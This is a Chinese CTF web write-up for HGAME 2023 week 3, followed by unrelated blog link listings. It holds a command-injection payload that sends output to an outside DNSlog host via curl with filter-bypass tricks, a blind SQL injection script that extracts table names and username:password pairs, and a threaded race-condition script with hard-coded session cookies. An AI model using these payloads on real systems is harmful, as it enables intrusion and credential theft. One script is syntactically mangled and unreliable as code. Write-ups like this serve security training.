HGAME_2023_WEB_WP_WEEK3
Ping to the host
很明显的rce,简单测试一下发现空格,cat,;被办,且执行无回显,空格用${IFS},%09,$IFS$9等等来绕过,我们利用dnslog将执行结果外带出来,这里使用的是http://ceye.io/
由于每次dnslog只能带出一条信息,我们利用sed -n来爆破其它信息
ip=|curl${IFS}http://?????.ceye.io/`ls${IFS}/|sed${IFS}-n${IFS}'1p'`

得到flag文件名为: flag_is_here_haha
flag也被办了,用通配符读取就行了
ip=|curl${IFS}http://?????.ceye.io/`ca''t%09/fla*`

Login To Get My Gift
import requests
flag = ''
def attack_post(url):
global flag
r = requests.session()
for i in range(1, 100000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
payload = f"a'/**/||/**/((ascii(right(left(database(),{i}),1)))<{mid})#"
payload1 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()),{i}),1)))<{mid})#"
payload2 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'),{i}),1)))<{mid})#"
payload3 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(concat_ws(':',UsErN4me,PAssw0rD))/**/from/**/User1nf0mAt1on),{i}),1)))<{mid})#"
# print(payload)
data = {
'username': 'testuser',
'password': payload3
}
rp = r.post(url, data=data)
# print(rp.text)
if 'Success!' in rp.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
flag += chr(mid - 1)
print(flag)
if __name__ == '__main__':
url = 'http://week-3.hgame.lwsec.cn:30369/login'
attack_post(url)
Gopher Shop
import requests
import threading
headers = {
'Cookie': 'SESSION=MTY3NDU1MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw23LorOFg5LmryZzZcxm8ESbYpNFaTv1UjY2UkMozyJw==; session=MTY3NDcwNzYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZz09fM5a-9HM-2vbFCrfAbfLVU049emtbxCloYDTab3QDEx-'
}
def get(url):
r = requests.get(url=url, headers=headers) if __name__ == '__main__':
url = 'http://week-3.hgame.lwsec.cn:30552/api/v1/user/buyProduct?product=Flag&number=1'
for i in range(100000):
threading.Thread(target=get, args=(url,)).start()
然后界面就直接买到FLAG了,checkFLAG即可拿到flag值:
HGAME_2023_WEB_WP_WEEK3的更多相关文章
随机推荐
- POST请求发送的表单数据和json数据的区别及python代码实现
前言 这篇博客会介绍最常见post 请求form表单数据和json数据 数据类型之间的区别, urllib代码的实现(python), requests库实现, 以及如何使用postman软件发送这些 ...
- .net如何优雅的使用EFCore
EFCore是微软官方的一款ORM框架,主要是用于实体和数据库对象之间的操作.功能非常强大,在老版本的时候叫做EF,后来.net core问世,EFCore也随之问世. 本文我们将用一个控制台项目Ho ...
- 一定要用Photoshop?no!动手用Python做一个颜色提取器! ⛵
作者:韩信子@ShowMeAI Python3◉技能提升系列:https://www.showmeai.tech/tutorials/56 计算机视觉实战系列:https://www.showmeai ...
- java (String)强制转换与toString()方法
1. Object.toString()介绍 Object中是自带有toString()方法的,也就是说java中的所有类的对象都是可以转换为字符串的. 首先,先看看Object.toString() ...
- mooc上的简单题,(疑惑已解决)
如题,在简单不过的题,在自己编译器上试了很多例子,输出结果都对.但是oj不给过:(已解决) 统计指定单词出现的次数(10分) 题目内容:输入6个单词,查找第6个单词在前5个单词中出现的次数. 输入:6 ...
- gtest学习教程(从0到1)
gtest使用教程 1 简介 之前对gtest一无所知,最近,找了些相关的资料,学习了下.这里主要记录了学习过程和相关知识点. 什么是gtest: gtest测试框架是在不同平台上(Linux,Mac ...
- 学习ASP.NET Core Blazor编程系列十七——文件上传(上)
学习ASP.NET Core Blazor编程系列文章之目录 学习ASP.NET Core Blazor编程系列一--综述 学习ASP.NET Core Blazor编程系列二--第一个Blazor应 ...
- 二阶段目标检测网络-Mask RCNN 详解
ROI Pooling 和 ROI Align 的区别 Mask R-CNN 网络结构 骨干网络 FPN anchor 锚框生成规则 实验 参考资料 Mask RCNN 是作者 Kaiming He ...
- 一次TiDB GC阻塞引发的性能问题分析
背景 前不久从项目一线同学得到某集群的告警信息,某个时间段 TiDB duration 突然异常升高,持续时间6小时左右,需要定位到具体原因. 分析过程 第一招,初步判断 由于项目条件苛刻,历经苦难才 ...
- uniapp微信小程序 原生底部导航栏
在pages.json文件中写 "tabBar": { "color": "#333333", "selectedColor&q ...